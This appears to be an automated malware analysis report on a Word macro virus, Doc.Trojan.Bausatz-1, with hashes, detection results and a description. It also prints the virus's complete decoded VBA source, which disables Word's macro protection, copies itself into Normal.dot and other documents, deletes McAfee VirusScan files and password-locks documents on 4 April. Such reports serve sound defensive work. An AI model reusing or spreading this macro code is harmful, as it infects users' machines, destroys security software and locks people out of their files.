Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 755079118aaccbd7…

MALICIOUS

Office (OLE)

27.0 KB Created: 2001-06-19 00:19:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 490138ccb5334576684d3de75e9a0bb9 SHA-1: 110321507864711333633170b6f0a652c5066a78 SHA-256: 755079118aaccbd70e654c6cc6a5a4c09b37e6c5910b1e2a2786f3b44b131995
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, identified by ClamAV as 'Doc.Trojan.Bausatz-1'. The macro code attempts to copy itself to other documents and includes a command to delete files from a McAfee VirusScan directory. It also displays a message box and attempts to save the document with a password, indicating malicious intent.

Heuristics 2

  • ClamAV: Doc.Trojan.Bausatz-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bausatz-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1508 bytes
SHA-256: cdc50d90d08b12939a267fd04339da4e5935f888489cfd599cdc66d3f2b57349
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoexit()
On Error Resume Next
'Made with the W97 MakroVirus Bausatz by MagBee
ActiveDocument.ReadOnlyRecommended = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayStatusBar = False
Options.ConfirmConversions = False
Application.ScreenUpdating = False
If ThisDocument.Name = "Normal.dot" Then
Set Source = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Target = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
Set Source = ActiveDocument.VBProject.VBComponents(1).CodeModule

Set Target = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Source
vircode = .lines(1, .countoflines)
End With
With Target
.deletelines 1, .countoflines
.insertlines 1, vircode
End With

Kill ("c:\Programme\Mcafee\VirusScan\*.*")



MsgBox "Fuck you", , "W97M Virus Bausatz by MagBee"


If Day(Now()) = 4 And Month(Now()) = 4 Then
If ActiveDocument.HasPassword = False Then ActiveDocument.Password = "krt"
End If









ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument






End Sub